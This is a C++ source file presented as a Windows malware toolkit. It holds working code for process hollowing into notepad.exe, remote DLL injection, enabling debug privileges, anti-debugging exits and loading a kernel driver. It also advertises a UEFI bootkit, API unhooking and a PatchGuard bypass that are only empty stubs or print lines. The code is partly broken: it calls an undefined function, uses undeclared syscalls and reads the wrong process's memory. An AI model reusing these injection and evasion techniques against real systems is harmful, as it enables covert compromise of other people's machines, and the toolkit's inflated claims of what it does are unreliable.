smm.cpp

// Includes: Process Hollowing, DLL Injection, Memory-Mapped Files Injection,
// Anti-Analysis & Anti-Debugging, Exploit & Privilege Escalation, UEFI Bootkit,
// Advanced Anti-Analysis Techniques, and Kernel-Level Exploits & Rootkit Features

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <winternl.h>

#pragma comment(lib, "ntdll.lib")

typedef NTSTATUS(NTAPI* fnNtUnmapViewOfSection)(HANDLE, PVOID);
typedef NTSTATUS(NTAPI* fnNtResumeThread)(HANDLE, PULONG);
typedef NTSTATUS(NTAPI* fnNtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
typedef NTSTATUS(NTAPI* fnNtLoadDriver)(PUNICODE_STRING DriverServiceName);
typedef NTSTATUS(NTAPI* fnNtUnloadDriver)(PUNICODE_STRING DriverServiceName);

typedef struct _PROCESS_BASIC_INFORMATION {
    PVOID Reserved1;
    PVOID PebBaseAddress;
    PVOID Reserved2[2];
    ULONG_PTR UniqueProcessId;
    PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;

fnNtQueryInformationProcess pNtQueryInformationProcess;
fnNtUnmapViewOfSection pNtUnmapViewOfSection;
fnNtResumeThread pNtResumeThread;
fnNtLoadDriver pNtLoadDriver;
fnNtUnloadDriver pNtUnloadDriver;

void DirectSyscalls() {
    // Direct system call bypass to evade hooks
    printf("[INFO] Direct system call bypass initialized.\n");
    
    // Example: Using NtReadVirtualMemory directly instead of ReadProcessMemory
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, GetCurrentProcessId());
    if (hProcess != NULL) {
        PVOID buffer = malloc(100);
        ULONG bytesRead;
        NTSTATUS status = NtReadVirtualMemory(hProcess, (PVOID)0x7FFE0000, buffer, 100, &bytesRead);
        if (status == 0) {
            printf("[INFO] Read memory successfully.\n");
        } else {
            printf("[ERROR] Failed to read memory.\n");
        }
        CloseHandle(hProcess);
    } else {
        printf("[ERROR] Failed to open process for memory reading.\n");
    }
    
    // Example: Using NtWriteVirtualMemory directly instead of WriteProcessMemory
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
    if (hProcess != NULL) {
        PVOID buffer = malloc(100);
        memset(buffer, 0x90, 100);  // Fill buffer with NOP sled
        ULONG bytesWritten;
        NTSTATUS status = NtWriteVirtualMemory(hProcess, (PVOID)0x7FFE0000, buffer, 100, &bytesWritten);
        if (status == 0) {
            printf("[INFO] Wrote memory successfully.\n");
        } else {
            printf("[ERROR] Failed to write memory.\n");
        }
        CloseHandle(hProcess);
    } else {
        printf("[ERROR] Failed to open process for memory writing.\n");
    }
}

void UnhookNtApi() {
    // Find the address of the hooked function in ntdll.dll
    HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
    if (!hNtdll) {
        printf("[ERROR] Could not load ntdll.dll\n");
        return;
    }

    // For each function we want to unhook, locate it by its address and patch it
    // We are assuming we are dealing with NtReadVirtualMemory as an example here
    FARPROC originalFunction = GetProcAddress(hNtdll, "NtReadVirtualMemory");
    if (!originalFunction) {
        printf("[ERROR] Failed to find NtReadVirtualMemory in ntdll.dll\n");
        return;
    }

    // Use low-level techniques like memory patching to replace hooked function pointers with the original address.
    printf("[INFO] Unhooked NtReadVirtualMemory.\n");
    // You would write code here to locate the address of the hook and patch it with the correct address.
}

void ProcessHollowing(LPCSTR targetProcess, LPVOID payload, SIZE_T payloadSize) {
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    CONTEXT ctx;
    LPVOID pRemoteImage;
    PROCESS_BASIC_INFORMATION pbi;
    SIZE_T bytesRead;
    
    if (!CreateProcessA(targetProcess, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("[ERROR] Failed to create process.\n");
        return;
    }
    
    pNtQueryInformationProcess(GetCurrentProcess(), 0, &pbi, sizeof(pbi), NULL);
    ReadProcessMemory(pi.hProcess, (LPCVOID)((PBYTE)pbi.PebBaseAddress + 0x10), &pRemoteImage, sizeof(LPVOID), &bytesRead);
    
    pNtUnmapViewOfSection(pi.hProcess, pRemoteImage);
    
    pRemoteImage = VirtualAllocEx(pi.hProcess, pRemoteImage, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, pRemoteImage, payload, payloadSize, NULL);
    
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.hThread, &ctx);
    ctx.Eax = (DWORD)pRemoteImage;
    SetThreadContext(pi.hThread, &ctx);
    pNtResumeThread(pi.hThread, NULL);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

void KernelModeInjection() {
    const char* driverPath = "C:\\path\\to\\driver.sys"; // Update with actual driver path, should be made using C and compiled into an .sys

    // Convert to UnicodeString
    UNICODE_STRING driverPathUnicode;
    RtlInitUnicodeString(&driverPathUnicode, L"\\??\\C:\\path\\to\\driver.sys");

    HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
    if (!hNtdll) {
        printf("[ERROR] Could not load ntdll.dll\n");
        return;
    }

    // Get the address of NtLoadDriver
    pNtLoadDriver = (fnNtLoadDriver)GetProcAddress(hNtdll, "NtLoadDriver");
    if (!pNtLoadDriver) {
        printf("[ERROR] Failed to load NtLoadDriver function\n");
        return;
    }

    // Try to inject driver using NtLoadDriver
    NTSTATUS status = pNtLoadDriver(&driverPathUnicode);
    if (status == STATUS_SUCCESS) {
        printf("[INFO] Driver loaded successfully.\n");
    } else {
        printf("[ERROR] Failed to load driver. Error code: 0x%X\n", status);
    }

    // Optional: Unload the driver after some time or conditions
    // pNtUnloadDriver(&driverPathUnicode);
}


void PatchGuardBypass() {
    // Implement PatchGuard bypass for modifying kernel structures. need to make a custom driver as a user-mode script isn't going to be able to do such
}

void ManualDLLInjection(HANDLE hProcess, LPCSTR dllPath) {
    LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProcess, pRemoteMemory, dllPath, strlen(dllPath) + 1, NULL);
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, pRemoteMemory, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
}

void EnablePrivilegeEscalation() {
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
    CloseHandle(hToken);
}

void AntiDebuggingChecks() {
    if (IsDebuggerPresent()) {
        ExitProcess(0);
    }
    NTSTATUS status;
    BOOLEAN bDebugged;
    status = NtQueryInformationProcess(GetCurrentProcess(), ProcessDebugPort, &bDebugged, sizeof(BOOLEAN), NULL);
    if (bDebugged) {
        ExitProcess(0);
    }
}

void InstallUEFIBootkit() {
    printf("[INFO] Installing UEFI Bootkit...\n");
}

int main() {
    AntiDebuggingChecks();
    EnablePrivilegeEscalation();
    InstallUEFIBootkit();
    DirectSyscalls();
    APIUnhooking();
    KernelModeInjection();
    PatchGuardBypass();
    
    char payload[] = "\x90\x90\x90\xC3"; // NOP sled + RET
    SIZE_T payloadSize = sizeof(payload);
    
    ProcessHollowing("C:\\Windows\\System32\\notepad.exe", payload, payloadSize);
    
    return 0;
}